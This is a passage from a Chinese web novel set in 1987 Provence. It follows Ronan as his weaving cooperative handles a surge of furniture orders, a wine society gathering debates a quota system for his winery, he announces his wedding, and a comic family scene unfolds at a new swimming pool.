巴蒂有些犹豫。 跟前几个月比,现在已经很忙了啊.还能更忙吗? 他想说什么,但罗南已经带着妇女们欢快的离开了院子,空气里只留下他轻松愉悦的声音: “大家一定会赚到钱的,以后杂志上这些动辄大几百、一千多的香水,你们每人可以拥有好几瓶,我发誓!” 《普罗旺斯艺术指南》的夸赞还是不够充分。 除了天赋、努力和才华横溢,罗南身上的闪光点应该还有一个——料事如神。 在他组织妇女聚餐后的第三天,卢尔马兰手工艺合作社的参观量出现了巨幅峰值,随即编织订单量也出现了‘井喷’。 ‘井喷’到了什么程度呢? 全职的几十个妇女居然不能保证在规定日期前做完全部的单子,罗南和巴蒂要动员村里其他会编织,但是没有去做全职的村民来兼职。 而且这次订单危机和去年圣诞前的花环危机不同。 去年,卡福也曾为了赶上圣诞热潮,在短时间内订了大量东西,但那次做的是花环。 而这一次,来卢尔马兰订东西的人,大部分买的是家具。 事实上,卢尔马兰手工艺合作社以花环起家,在戈尔德系列艺术活动前后通过编织艺术品和摆件闻名普罗旺斯,但家具是比较靠后期才推出的产品。 以往每个月的订单量大头还是在花环、工艺品和摆件等低价位的产品类型上,家具因为单价高,在营业额上占了更大的比重,但订单数量上是和前几种远远不可比的。 而《普罗旺斯艺术指南》上露出的编织家具照片和罗南辛苦申请下来的‘荆棘烈阳’,将卢尔马兰手工艺合作社的编织家具推到了大众的视野里。 这使合作社成立大半年来,第一次出现了订单组成的改变——家具订单的数量以迅雷不及掩耳之势超过了花环、艺术品和摆件。 “上帝,我们这么多人居然不够用。”巴蒂从老酒馆出来,他刚刚和罗南一起说服了科莫接下4个花环订单,“居然要四处求人做兼职。” 这两天四处找人,让罗南也疲惫不堪: “也不一定会人手不够用,只是没有承接过这么大的家具订单量,不好预估产能,安排个后手万无一失。” 家具耗时长、对技术要求高,全职工人优先制作家具,以保证能在规定时间内交付。 其他小东西没有‘荆棘烈阳’认证资格,可以靠兼职的人来完成。 巴蒂哭笑不得的说: “如果能完成也会很极限,真是奇了怪了,越是繁复、高价的家具卖得越好,那些款式都很费时。” 罗南耸肩: “只能说杂志帮助我们吸引来了真正的有钱人。” 不是每个下单的顾客都有装修或者更新家具的需求。 不少人是被‘荆棘烈阳’认证吸引来,想要收藏。 而有这种爱好的必然是有钱人,有钱人才不会在意家具是3万还是4万,现在花的钱越多,将来越具有收藏价值。 巴蒂苦涩的摇头: “好了,我要回去了,我今天要做两把椅子。” 罗南跟着巴蒂一起离开: “我和你一起回去,帮大家一起分担,我做得快。” 巴蒂和罗南像是战友般并肩前行: “我做梦都是订单超时交付,即使我们找来了这么多兼职都没有完成” 卢尔马兰的人力短缺问题导致他们找兼职也不太顺利,大家都有要忙的事情。 罗南默默叹气: “过几天我去和布兰科聊聊,问问即将建成的高中是否可以开设和编织有关的专业。” 罗南当然期盼生意能越来越好,将来订单多多的。 但生意越来越好,也需要有越来越多能做家具的人。 订单井喷导致巴蒂和罗南都加入了进来。 这两天桑德琳和卡福也每天待在编织大院里。 卡福要组织小伙子们接待好激增的游客。 桑德琳则是立求将这把‘火’烧得更旺些,她的工作是努力让花了钱的客户花更多的钱,比如激励他们再买一件家具就能成为尊贵的vip客户等等。 罗南一回来,桑德琳就告诉了他一个好消息: “在你们离开的这几个小时里,我们又多出了2个vip客户。” 巴蒂惊喜的站直身子: “我们的vip序号到多少了?得有七八个了吧?” “九个了。”桑德琳有些期待的看向手里的vip名单,“按照这个发展速度,等我们的旗舰店成立可以马上组织vip活动,我之前还担心人数不够办不起来,计划要推迟,现在看来人数绝对不是问题我要开始思考我们的第一个vip活动主题了。” 接下来卢尔马兰手工艺合作社的上上下下都将进入‘高速’模式,连商业顾问桑德琳也不例外。 “最近辛苦你了。”罗南感激的说,“卡福昨天跟我说,有好几个顾客在你的‘建议’下多买了许多东西。” 桑德琳毫无疑问是一个关键的加速器。 “我辛苦什么,这是我的工作。”桑德琳一点都没有贪功,“辛苦的是你的那位厉害朋友,是《普罗旺斯艺术指南》这本杂志。” 巴蒂一脸陶醉: “我女神真给力啊,这次必须要好好感谢伊内斯,她家住在哪里?阿维尼翁还是艾克斯?我们去登门拜访表示感谢怎么样?” 罗南笑着摇头,戳破了巴蒂的美梦: “不用,明天我就能见到她了,不用去家里。” 第531章 意义非凡的蔷薇庄园 时隔几个月后再次召开的沃克吕兹省粉红酒爱好者协会聚会的举办地在会长伊内斯的私人庄园里。 大概是由于这一次聚会间隔太长,伊内斯想要表达歉意,将成员们邀请到她的地盘上好好招待。 罗南没有去过伊内斯的私人庄园,将车子开到博尼约,和雅克先生结伴前往。 别看聚会许久没有举办,但罗南和协会成员之间的交集还是很密切的。 会长那边就不用说了.聚会迟迟没有举办,正是因为伊内斯在筹办《普罗旺斯艺术指南》,罗南和佐伊是其中的关键,罗南都数不清在没有聚会召开的日子里和会长大人见过多少次面了。 罗南与在农业部任职的朱莉特携手推进了卢尔马兰的‘拔藤计划’和‘气象保险’,朱莉特还帮助罗南申请到了两片实验田。 加布里埃尔在卢尔马兰的糖果商店生意兴隆,罗南时常能在商业街上与其见面。 雅克先生和罗南的交集也很频繁,今年三月之前他在罗南手里订购优质松露,最近几个月,雅克找杰罗姆订粉红酒时,也会同步告诉罗南。 “所以,我根本不用‘兴师动众’的宣布斯特斯加易手到了我的手上,成员们都应该知道这个消息了吧?”罗南侧头询问雅克先生的意见。 协会的聚会迟迟没有举办,罗南始终没有找到一个正式的机会和成员们宣布这个大消息。 不过听说杰罗姆和伊内斯在私下已经替罗南‘宣布’完了。 “我觉得你还是稍微提一下吧,毕竟不是每个成员在私下都有往来,肯定有人还不知道这个消息。”雅克推了下黑框眼镜,给出了他的意见。 罗南好奇的问: “近半年,没和任何成员有过任何交集.咱们协会有这样的成员吗?” 聚会里的成员非富即贵,而普罗旺斯又很流行‘圈子’文化,尤其是在有钱人的范畴之内,成员们在私下都是有交集和往来的。 在政府工作的成员低头不见抬头见。 做生意的成员们也肯定在各种社交场合碰过面。 以加布里埃尔为例,他的商铺和罗南的餐厅开在一条街上,和科伦坦在同一个高尔夫球俱乐部打球,糖果大王还经常带着朋友和家人去雅克先生的米其林用餐。 反正罗南想不出半年没有和成员们有交集的人是谁。 雅克先生笑着拍了下方向盘: “到时候看看大家的表情,不就知道有没有这样的人了?” 伊内斯在阿维尼翁、艾克斯和马赛都有房产。 不过这次聚会的私人庄园在吕贝隆腹地,一个名为艾加里的小村庄外。 伊内斯给她的庄园起名叫‘黛利’,里面由好几个植物园组成,而每一个植物园里种植的无一例外全部是蔷薇。 这些蔷薇有颜色和品类的不同,有的是白色,有的是红色,还有的是黑色。 “伊内斯很喜欢蔷薇吗?” 车子行驶在一眼望不到边际的花海,罗南会觉得自己正穿越一系列画作,只是作画的材料不是颜料和油彩,而是花卉草木这个庄园的美景无与伦比,只是很难将其和时尚女王联系到一起。 罗南觉得,这不像是伊内斯会喜欢的东西。 会长大人给人的感觉总是冷冰冰的,衣服也大多数为黑白灰,从来没有见过她穿什么太鲜艳的颜色,参加摩纳哥王室晚宴也不例外。 雅克先生和伊内斯相识多年,对这个庄园的来历还真有了解: “这个庄园是伊内斯送给她儿子的礼物。” 罗南忍不住赞叹出口: “果然是有钱人.” 罗南对伊内斯的儿子有一些了解,听说他经常将主编大人气的火冒三丈,米切兰杂志社员工中不少人见识过伊内斯‘大义灭亲’的奇观。 儿子这么不给力,还能送给他一整个庄园? 她儿子要是争点气那要送什么了? 有钱,真有钱! 雅克目视前方的开车,没有观察到身边罗南精彩的表情变化,想到罗南不是普罗旺斯本地人,他悉心的继续补充道: “在普罗旺斯,蔷薇有着特殊的寓意,和孩子有关。” 罗南最喜欢听的就是普罗旺斯人文故事,顿时来了兴趣: “蔷薇有什么样的寓意,又和孩子有什么关系?” 雅克先生放慢了车速,慢慢给罗南讲解: “公元1242年,香槟伯爵蒂博四世自中东将蔷薇引入了法国,最一开始大家称其为‘药师蔷薇’,因为药剂师发现,这种植物不但很美,还有药效,拿来腌成蜜饯或制成糖浆,可以缓解消化不良;做成化妆水,能够清洁净化皮肤;混以麦芽糖,则可舒缓喉咙痛,总之这是一种充满着神奇的植物,而这种神奇在普罗旺斯发展到了极致。” 花海的尽头出现一座建筑物的轮廓,雅克先生开得更慢了: “在普罗旺斯有一种古老的传说,第一次替新生儿剪指甲时,站在繁密的蔷薇花丛下,这样孩子便会一生正直,同时还会拥有一副好嗓子,伊内斯就是听信了这个传说,打造了这个蔷薇庄园,在他儿子8岁前,每一次剪指甲都在繁密的蔷薇花丛下。” 罗南忍不住问: “那结果呢?他是不是个正直的孩子?” 雅克先生忍俊不禁的说: “那孩子脾气秉性不错,算是正直,但伊内斯看重的是传说的后半截,她希望儿子能成为一名歌手或者演员,最不济的也是其他名人.但是很遗憾,他儿子没有一点艺术家的天赋,大学选择学医了。” “哦,那可真遗憾。”罗南侧了下脑袋。 又是一个望子成龙梦破碎的可怜母亲啊。 雅克先生的奔驰车停在了一座保存的完好的文艺复兴风格建筑物前,铅格窗、圆塔、装饰圆顶、壁柱、壁龛、柱顶楣构.处处彰显着房屋主人的阔绰和有钱。 他熄灭了车子引擎,对罗南做了一个‘下车’的手势,并用开玩笑的语气说: “我猜伊内斯对你宠爱有加,有一部分原因是由于她喜欢才华横溢的孩子。” 伊内斯对罗南的宠爱从来没有掩饰过。 经过了近半年的密集往来,这份‘宠爱’更加明显。 聚会一开始,她就替罗南宣布了‘斯特斯加搬到卢尔马兰,未来将来由罗南经营’的这个众所周知的秘密。 自她的口说出,一是向大家表明,她知道这件事的发生,罗南并没有隐瞒。 二是堵住那些不满罗南没有主动告知消息人的嘴.就比如我们的阿斯特丽德女士。 这位被蒙在鼓里许久、又心软帮卢尔马兰加了一把柴、以求让罗南的粉红酒称霸道路走得平坦顺利的热心女士,还打算在今天好好‘讽刺’两句,调侃罗南嘴严,过了这么久才告诉他们这个消息。 但伊内斯的举动,让她闭上了嘴。 罗南的‘借势’和‘借利’做的愈发娴熟,看来在这半年中,伊内斯没少与他有往来.阿斯特丽德慵懒的拿起了酒杯,如是想着。 罗南的目光自阿斯特丽德的身上移开,终于松了一口气。 他生怕这位女士还在生气,上次在卢尔马兰粉红酒博物馆的碰面是如此的不愉快。 还好这位大人大人有大量。 见阿斯特丽德切换成了‘酒鬼’身份,并没有发难,罗南看向了在场唯一一个有表情有所变化的人。 当伊内斯宣布完消息,品酒师西奥多尔的嘴巴大得能塞下两个鸡蛋。 过了十几秒,还可以塞下一个。 但那也很大了。 罗南和西奥多尔一点都不熟悉,算上今天也才见过三次面。 除了知道他的职业,知道他很厉害,知道他每年会帮斯特斯加提意见,知道这个家伙只品酒不喝酒外其他什么都不不了解。 但发现西奥多尔和其他协会成员在私下没有任何往来后,罗南对这个人充满了好奇? 西奥多尔不是有钱人圈子里的? 他住哪里? 品酒是他唯一的职业吗? 杰罗姆临走前认真嘱咐过罗南两件事情——沃克吕兹省粉红酒协会里的每一个成员都对斯特斯加有所帮助,你必须要和他们混熟,还有一个是帮助伊内斯将协会保留下来。 成员们本事滔天,保留沃克吕兹省粉红酒协会的重任肯定落不到罗南的头上,而且罗南也不认为协会有解散的那天。 但杰罗姆的另一个嘱托他要尽快完成,罗南决定近期找个合适机会和西奥多尔互相熟悉一下。 成员们许久未见,斯特斯加又保留了下来双喜临门,聚会气氛非常轻松和愉快。 这次聚会还没结束,大伙儿就开始约下次聚会的时间和地点。 加布里埃尔严肃抗议,下一次的聚会间隔可不能这么长时间了,否则他会想念成员(阿斯特丽德)们的。 伊内斯双腿交迭,优雅的说: “之前我手头上有些要紧的事情要处理,一直没有挤出来时间,不过现在好了,都解决了,其他人呢,这段时间忙不忙?如果不忙,又没有什么要紧的事,我们过几天再聚一次怎么样?” 加布里埃尔积极的提议: “好啊好啊,下次去我那里吧,我在马赛新买了个度假别墅,这个季节去海边正合适。” 成员们七嘴八舌的发言,统统表示最近工作不是很繁忙,可以约下一次的时间。 伊内斯观察了一下阿斯特丽德的反应,确认她没有要提出异议的样子,正要开口,罗南先一步张嘴了。 “我下个月有可能无法参加,斯特斯加遇到了一点困难,我要先解决一下,除此之外还有一点私人的事情,如果不能去大家替我多喝点。” 一屋子人同时看向罗南,什么表情都有。 有的疑惑,有的唏嘘,还有的愤恨。 西奥多尔不悦的盯着罗南看。 斯特斯加刚交到你手上就出问题了? 伊内斯的表情也严肃了下来,关心的问: “斯特斯加怎么了?” 罗南一脸苦涩: “最近几个月卖的太好库存不足了。” 听完罗南的解释,成员们的表情更加多样了。 你说这是问题吗? 这明明是好事啊。 你说这不是问题吧又不能忽视。 和罗南熟悉的雅克先生第一个给出了建议: “如果要面临两到三个月的库存短缺,那么确实要解决一下,事实上这种情况在红葡萄酒和白葡萄酒中挺常见的,只是粉红酒出现库存危机的情况在普罗旺斯比较少见,你需要和客户们好好解释一下,别产生误会。” 西奥多尔一脸严肃: “1982年,教皇新堡的好几家红酒庄在4月份就陆续出现了库存危机,但那并没有熄灭顾客的热情,反而让它们83年的销量更高了,这是一个机遇。” 他看着罗南,犹犹豫豫的说: “只是看是否能抓住。” 罗南问西奥多尔: “这几个酒庄是如何解决库存问题的?” 西奥多尔脱口而出: “立即启动严格的配额制度,以平衡市场。” 这是继杰罗姆、巴黎老乡伯纳德后,罗南第三次听到这个单词。 配额制度的核心是在红酒供不应求时,将客户分级,根据历史采购量和重要性来安排余下的库存。 罗南一脸苦涩,但是斯特斯加—— “普罗旺斯没有粉红酒庄启用过配额制度,罗南现在推出这项举措说不定会适得其反。”科伦坦和罗南想到一起了。 朱莉特则表达了不同的观点: “凡事都有第一次,没有粉红酒庄使用配额制度的根本是普罗旺斯没有高端粉红酒庄,但斯特斯加未来要推出高端品牌线了。” 朱莉特比任何人都了解斯特斯加的情况,卢尔马兰北坡的那几亩地所使用的先进农用设备都是她搞来的,她知道罗南致力于将斯特斯加向高端发展。 接下来成员们就斯特斯加是否应该推出配额制度激烈的争论起来,每个人都拿出了有力的辩证点。 当事人罗南听的那叫一个兴奋。 有这么多大佬帮他想办法,这个问题怎么会解决不了呢? 过了半个多小时,听完了全部陈述,并已经有所判断的伊内斯小声询问阿斯特丽德的意见: “你觉得斯特斯加启用配额制度可行吗?” 在座所有人中,论商业头脑和判断力,阿斯特丽德绝对是那个第一。 阿斯特丽德还是那副慵懒的样子,用事不关己的姿态,低着眉眼说: “路是自己走出来的,证明斯特斯加足够高端,或者未来要走高端路线就好了,不明白这有什么好争的。” 伊内斯点了点头,打断了成员们的辩论会。 她的目光在众人的目光中游弋了一圈,最终落到了西奥多尔的身上: “西奥多尔,你有办法能帮助斯特斯加在短时间内向高端靠拢吗?” 西奥多尔沉思了几秒: “下个月,教皇新堡有一个高端红酒拍卖会,我可以邀请罗南参加。” 雅克先生清楚罗南没有参加过红酒拍卖会,和西奥多尔也不熟悉,主动说道: “我也被那个拍卖会邀请了,到时候我带着罗南和西奥多尔一起去。” “那好,你们两个陪罗南一起去,我就放心了。”伊内斯最后看向罗南,“你有什么问题吗?” 罗南不好意思的问西奥多尔: “那个拍卖会在下个月的几号?” 西奥多尔回忆了一下: “7月10号。” 罗南终于露出了笑容: “哦,那太棒了。” 说完,他站起来,向着大家举起酒杯: “下个月20号我和佐伊结婚,既然下次聚会的日子还没定不如去我哪里聚一聚?大家那天有时间吗?” “上帝,你要结婚了?”朱莉特惊讶的捂住嘴。 “那一定要去啊,我必须出席!”加布里埃尔差点跳起来。 “今天是三喜临门,朋友们,让我们敬罗南!”伊内斯一脸欣慰的笑容。 第532章 好事临头 今天朱莉特出席了聚会,刚刚伊内斯询问成员们最近工作是否忙碌、过几天可否再聚一次的时候,她也没有提出什么异议。 在聚会的后半程,罗南特意找了个机会,坐到‘好姐姐’朱莉特的身边: “新官上任的‘三把火’烧完了?” 法语中没有类似的谚语,但罗南表达的意思很清楚和明白。 朱莉特快速结束了和身边成员的对话,专心的看向罗南: “工作怎么有做完的时候?不过即使伊内斯不召开聚会,我也要找机会和你见面了,罗南。” 罗南身边有几位大‘福星’。 只要这几位‘福星’说有事情找自己,那一定是‘好事临头’了。 伊内斯肯定算一个,布兰科也算。 旅游局的艾利安是后加入的,再有一个就是面前的朱莉特。 罗南没有掩饰情绪和真实想法,一脸期待的问: “哦?有什么好事想到我了吗?” 朱莉特放下手里的红酒杯,似笑非笑的说: “是不是好事现在还说不准你不是一直问我,为什么会突然离开卢尔马兰吗?” 罗南笑着耸肩: “离开?在我看来那是‘不辞而别’,前一天我们还在畅想能在卢尔马兰做些什么、‘拔藤计划’的数据如何才能更加好看第二天,你人走了,而且我是在一周之后从别人嘴里得知这个消息的。” 朱莉特露出一抹苦笑: “那是因为我突然接到消息,要代表普罗旺斯去参加EEC在德国举办的农业论坛,在那边待了一周多。” “EEC”罗南咕哝了一声,觉得有些耳熟,几秒钟后他想起来这是什么组织了,“你去参加欧洲经济共同体的论坛了?” 今年3月初,朱莉特曾经带着一批外国人去罗南的餐厅吃饭,那些人便是欧洲经济共同体的代表。 欧洲经济共同体是欧盟的前身。 在上个世纪80年代,欧洲经济共同体在农业领域的核心政策围绕‘共同农业政策’改革展开。 去年EEC想在法国、意大利和西班牙推动一项新的措施,普罗旺斯是法国实施这项举措的重要区域。 这个重要的举措便是为了应对葡萄酒湖现象而提出的‘拔藤计划’,而朱莉特是这项举措在普罗旺斯推行的负责人。 最开始,这项举措被沃克吕兹省农业部视为烫手的山芋,朱莉特的目标是只要比波尔多强那么一点点就可以了。 谁也没想到,在罗南的帮助下卢尔马兰顺利的推行起了‘拔藤计划’,随后的‘气象保险’也顺理成章的推行下去了,以上两项重要事件成为了朱莉特的功绩,她也由于在卢尔马兰的优异和突出表现升职加薪。 “没错,是欧洲经济共同体的论坛。”朱莉特表情很复杂,似乎既兴奋又疲惫,“未来两年我最重要的工作就是协助EEC在普罗旺斯推行农业新政,之前频繁出差是去开会和考察了。” 农业部领导的想法很简单。 朱莉特能帮助EEC推行一个举措,肯定还能推行下去第二个,这摊儿事未来就交给她了! 罗南压低了声音,好奇的问: “EEC又推行什么新的举措了?和葡萄松露有关系吗?” 朱莉特犹豫了几秒才摇头: “新举措冲击最大的是畜牧业,事实上除了葡萄酒湖现象,欧洲还存在着非常严重的黄油山和牛奶山过剩现象,去年一整年欧洲牛奶库存堆积1600万吨,相当于荷兰全年产量,黄油库存也积压了超过22万吨,EEC要求成员国必须减产。” 畜牧业和罗南的关系不大,朱莉特也没有过于详细的展开太多,很快把话题收了回来: “总之,未来沃克吕兹省30%的羊奶场要关闭,还需要减产40%的羊群。” 又是减产,这个欧洲共同体就没有其他事情做了么罗南腹诽了一句,脑海中联想到了略伦特先生: “阿尔诺家族会受到冲击吗?” 略伦特先生是阿尔诺家族的女婿,他的正式工作是为阿尔诺家族整合沃克吕兹省的资源。 而阿尔诺家族拥有普罗旺斯最大的绵羊养殖基地,还垄断了部分奶酪供应链,在1986年占据当地奶酪出口份额的 25%。 朱莉特摇头: “对阿尔诺家族的影响不大,受影响的是那些个体农户。” 罗南担忧的撇嘴: “大难临头,这些大家族、大企业怎么不顶上去?没有了羊场和羊群,那些个体农户还能干什么?” 卢尔马兰之所以可以推行起‘拔腾计划’,是因为农夫们的身后有一个正在高速发展、旅游业爆发式增长的卢尔马兰,还有即将落户在卢尔马兰的斯特斯加红酒庄。 如果没有这些依靠,拔除政策对于大部分农夫来说是毁灭性的这里很可能会和波尔多一样出现暴动。 而面对牛奶山和黄油山危机,如果没有个子高的在上面顶着,全部压在个体农户的头上可想而知最终的结果会有多惨烈了。 朱莉特失笑着摇了摇头: “我现在没有心思可怜其他人,因为我也要‘大难临头’了,奶场关闭,羊群减少,会导致土地大量闲置,根据政策、市场、生态三重逻辑考虑下来,政府决定要推动农田扩张。” 淘汰的牧场无非只有几个结局。 第一,直接闲置。 第二,出售给开发商,转作建设用地。 第三,转型种植经济作物。 在1987年普罗旺斯特定情境下,经过沃克吕兹省政府和普罗旺斯大区政府层层探讨,决定推行其向第三种情况发展。 罗南对政策和政府相对陌生。 他还在寻思朱莉特口中两者之间的关系,怎么减少羊场就一定要推动农田扩张呢.朱莉特继续说道: “等今年推行完EEC新政策,快则年底,慢则明年,农业部就要着手推行农田扩张的事情了,罗南,到时候你可一定要帮帮我。” “我?”罗南指着自己的鼻子,哭笑不得的说,“我暂时没有买农田的打算,可能帮不上你了。” 商业街上的三个铺子还没钱买呢我去哪里变钱来买农田啊? 你也太瞧得起我了。 朱莉特拿起酒杯,和罗南手里的杯子碰了一下: “今天在座的各位成员都有可能会成为我的‘救星’,包括你,不要忘记,你说过大难临头,大家族和大企业必须顶上去,我相信到了那个时候.斯特斯加一定会进入‘大企业’之列。” 不等罗南给反应,朱莉特一仰头把酒干了,她擦了下嘴,用手挡嘴的同时,用只有二人能听到的声音说: “我绝对不会亏了你。” 罗南是朱莉特升职加薪最大的功臣,她绝对不会‘坑’好弟弟。 相反的,有什么好事一定会想着他。 罗南也把杯子里的酒干了: “千万别对我有过多的预期,斯特斯加现在还有一堆事没解决呢,但我会记得这件事的。” 罗南没太把朱莉特说的事情放在心上。 首先,牛奶山和奶酪山的危机和他没有一丁点关系。 其次,农田扩张要在很久之后才会实施。 罗南连下个月的事情都无法全部顾及,哪有精力想大半年之后的事情呢? 聚会举办的非常成功,许久不见的成员们通过几个小时的时间都收获到了想要的东西。 协会下一次碰头的时间也定了——在罗南的婚礼上。 临走前,罗南把一张张正式的请柬交给大伙,并叮嘱他们没事一定要来。 但发到阿斯特丽德女士时,罗南改口了: “如果您那天有事不能来也没关系,正事要紧。” 伊内斯说过,阿斯特丽德的时间非常不好碰。 许多次聚会都是因为这位女士没有时间而推迟。 他就不奢望这位大人物亲临婚礼了。 阿斯特丽德接过那张请柬,与罗南擦身而过: “能不能去我会提前通知你。” 今天罗南没有和阿斯特丽德有单独聊天的机会,这次聚会他的目的有两个,一个是抛出斯特斯加的库存危机,请大家一起想想办法,另一个是来感谢伊内斯的帮助。 这一整个下午加晚上,罗南的屁股几乎全部钉在伊内斯身边,但在斯特斯加和编织生意的经营上,罗南有许多事情想要请教阿斯特丽德这位‘老师’呢。 “希望您能来。”罗南对着阿斯特丽德的背影喊了一句。 阿斯特丽德背对罗南很随意的挥了下手里的小提包,不知道在表达什么。 《普罗旺斯艺术指南》发刊和沃克吕兹省粉红酒爱好协会聚会的举办,预示着6月结束,新的一个月来临了。 属于罗南的7月开了一个很不错的开头。 虽然第一次高强度的制作家具,但妇女们的效率和质量都没有问题。 罗南这段日子和大家一起在编织大院里干活,抽查的所有家具没有任何问题、不需要返工,而且大部分人都提前完成了自己手里的单子,这样一来,他和巴蒂悬着的心终于放下去了。 “要我说,明天你就别来了。”巴蒂看着罗南说。 重要时刻,巴蒂暂时按捺住了和美女们贴贴的心,将精力放在了制作订单上。 体验课谁都能去教,但论手上的功夫和速度,他一定是卢尔马兰最拔尖的,这个时刻他很负责的分清了‘轻重缓急’。 巴蒂很久没有和罗南一起干活了,这几天和罗南并排坐在板凳上做编织家具,让他回忆起了两个人在瓦朗索勒初识的日子.但7月到来,意味着罗南的婚礼要举行了。 这个时候,在罗南‘轻重缓急’的名单里,最紧要的事情不是做编织,而是去筹备婚礼。 罗南笑着说: “婚礼我还能耽误?只是现在确实没有什么能做的事,我在等希尔维的消息。” “不是特奥和康奈尔那几个家伙帮你筹备婚礼吗?”巴蒂意外的抬头,不理解罗南的婚礼怎么和希尔维扯上了关系。 “你忘记了吗?我的婚礼要在卢尔马兰城堡里举行,但那里正在翻修,所以正式筹备的第一步是人能进去。”罗南有些无奈的说,“希尔维同意,在翻修结束之前让我们同步进去筹备,但目前有一些墙体维修没有结束,很危险.暂时还不能进去。” 巴蒂咂了一下嘴: “就干等着啊?” “当然不了,我不喜欢被动等待,喜欢主动出击,尤其是这么重要的婚礼。”罗南憋着笑说,“我已经派特奥去监工了,昨晚特奥说,最多一周,一周后我们一定可以进去布置婚礼场地。” 巴蒂长舒了一口气: “特奥去监工我就放心了。” 罗南哈哈大笑着说: “我也是,你不知道那些工人见到特奥时脸色有多难看,因为其中有几个人是从斯特斯加的酒窖过去的。” 巴蒂跟着一起笑了一会,继续关心的问: “其他呢?其他准备都做完了?” “其他没有什么了。”罗南露出幸福的笑容,“我和佐伊的婚房早就装修完了。” 突然,罗南想到了一件事。 几天前,佐伊通知他,后院的游泳池竣工了,让他找时间去看看。 最近早上遛完狗,他马上跑到编织大院做家具,把这事儿给忘了。 “还有个游泳池,我今天回家去看看,应该干完了。”罗南不由得加快了些手上的速度。 正常情况下,罗南中午不会回家。 不是去餐厅吃工作餐,就是去佐伊家一起做午饭吃。 但想到还没来及去看看游泳池,中午他顶着烈阳抽空回了一趟家里。 7月份,普罗旺斯的最高温度直逼40度。 从编织大院走到家里,罗南的脸火辣辣的疼,感觉身体快燃烧了。 他先到屋里拿了一瓶冰镇啤酒,打开喝了两口,发现家里的狗没了。 小黑和马赛丢了不要紧但玛格丽特呢?! 罗南赶紧离开室内,去外面找狗,刚进入后院,还没来及喊狗的名字,便听到一男一女嬉戏的声音。 “马赛和尼斯有什么好的?能比在家里游泳有意思?游累了我就上床睡觉,游渴了我就去厨房里做吃的” 罗南听出了母亲的声音。 那么另外一道男声是谁就不言而喻了——老两口忙里偷闲去戏水了。 只是罗天海说的话,让罗南有点不想和他相认。 “家里有个游泳池是挺好的,私密,还能游得更尽兴。” “尽兴?你还要怎么尽兴?都泡半个小时了。” 在罗南的提点下,罗天海模仿电视剧里的台词越来越娴熟,不过前提是这里没有第三个人: “嘿宝贝,你的马赛小太阳来了!” 噗通噗通——游泳池里发出老两口欢快的追逐声。 罗南正想逃离少儿不宜现场,让他们好好尽兴,三只没有眼力见的狗不知何时出现在脚下,并发出了欢快的‘汪汪’声。 “咕隆咕隆咕隆——”冯珍吓了一跳,一个不小心沉了底。 罗天海也因疑似第二次被儿子撞到模仿电视剧里的台词而老脸通红,石化在原地。 罗南的眼睛根本不敢看父母的方向,一把抱住佐伊为游泳池特意烧制的陶罐: “哎呀,这陶罐真好看啊,放在这里太合适了!佐伊怎么想的呢?怎么就想到用陶罐做游泳池装饰了?我怎么就想不到呢.” 夸了有将近十秒钟,罗南扭头,一脸的震惊: “好巧啊,爸爸妈妈,你们也来看游泳池了?” 第533章 诽谤!彻底的诽谤! 游泳池是八十年代末南法的‘流行趋势’。 根据数据显示,1985年全法私人泳池的普及率只有4%,但沃克吕兹省能达到15%,而且这个数字在逐年递增。 可以说,只要条件允许,居住在普罗旺斯的居民都想要拥有一座私人泳池。 而且这个现象不止出现在来南法度假的有钱人家里,越来越多的本地人也开始重视起了游泳池在家庭中的必要性。 从严格意义上讲,普罗旺斯属于‘干旱’地区,年日照超2850小时,夏季常达40°C,而且非常缺乏水源和湖泊,野猪因此时常来村落里喝水或者去农田里破坏西瓜地,本地人对‘水’有着一份偏执。 当罗南说要好好利用后院的空间,佐伊第一个想法就是必须建一个游泳池。 而随着时代发展,泳池还成为了身份象征,和买奢侈品的道理类似——我家有泳池,代表我是个有钱人。 在普罗旺斯,有游泳池的度假村或者酒店一定是最受欢迎的,也是最早被订出去的。 对于巴黎一家人来说,游泳池更是新鲜东西。 巴黎是内陆城市,游泳的机会只有在度假时才会出现。 现在家里就能游泳了.罗天海和冯珍怎么能不兴奋? 不过这份兴奋只维持了半个小时。 罗天海黑着脸离开游泳池,对罗南的出现非常不满意。 小太阳刚开始燃烧就给我浇灭了! 罗南知道自己当了电灯泡,强装镇定的挽留: “再游会啊,这会天气正热,在水里泡着舒服。” “热你就自己游吧。”冯珍艰难的从水里爬出来,披上浴巾,对三只狗招手,“来,宝宝们,进屋了,我给你们切冰镇水果吃。” 两人三狗头都不回的离开,留罗南一人在原地吹热风。 他蹲到泳池边,拍打着水面嘟囔: “不陪就不陪,我喊佐伊来陪我。” 罗南家后院面积大,泳池又大又漂亮,还有佐伊做的精心点缀。 这么漂亮和美丽的游泳池,的确适合两个人一起游,一个人就‘暴殄天物’了。 想到这里,罗南欢快的起身去工作室了。 几分钟后。 罗南小跑着回到屋内,问正在喂三只狗吃水果的母亲冯珍: “你们看到佐伊了吗?” 今天佐伊没有外出的工作安排,按理说应该在工作室里创作。 但罗南去工作室,发现门是锁着的,佐伊并不在里面。 不会是你们玩的太‘尽兴’,把佐伊也吓走了吧? “佐伊上午在工作室,刚刚离开了,说来了一个朋友,中午一起吃饭,下午聊事情。”冯珍头都不抬的说。 正是因为佐伊离开了,且下午不在,罗天海和冯珍才敢下水玩一会。 平时孩子在身边,他们哪敢这么‘轻浮’啊都是能当爷爷奶奶的人了。 嘿,没想到罗南居然回来了! 你说气不气人? “来朋友了?”罗南顺手拿了一块给狗吃的冰镇水果,塞到嘴里,“但佐伊没去餐厅。” 佐伊的朋友来了卢尔马兰,一定会去罗南的餐厅招待。 但她今天并没有去餐厅的打算,因为没有提前通知罗南留座。 “人家还不能有点自己的事情?什么事儿都要告诉你吗?”冯珍终于想起来她还有个儿子,给罗南单独准备了一份水果,“而且现在卢尔马兰这么多好玩的、好吃的,也许去换换口味了呢。” 罗南接下水果,没有说话。 心想也不是没有这种可能。 小吃街的种类愈发丰富,几家餐厅也升级了菜单和口味。 连老酒馆里售卖的酒品都变多了。 罗天海已从刚刚那种慌张的情绪中脱离了出来,问罗南: “你中午回来干什么?” 罗南可不敢说回来看游泳池的,近一周他都会尽可能的避开‘游泳池’这个单词。 他弯下腰,摸了摸玛格丽特柔顺的毛发: “卢卡斯下午要来接玛格丽特和小黑,我回来看看它们。” 玛格丽特在罗南家住了多久,卢卡斯就连续来了罗南家多少天,有的时候一天能来两次。 今天,他终于收拾完了房子,要来接宝贝女儿和她的男朋友。 之前偶尔谈起卢卡斯天天过来看玛格丽特的话题,冯珍的语气中还带着点‘不理解’。 我们还能把你的宝贝女儿饿瘦了不成? 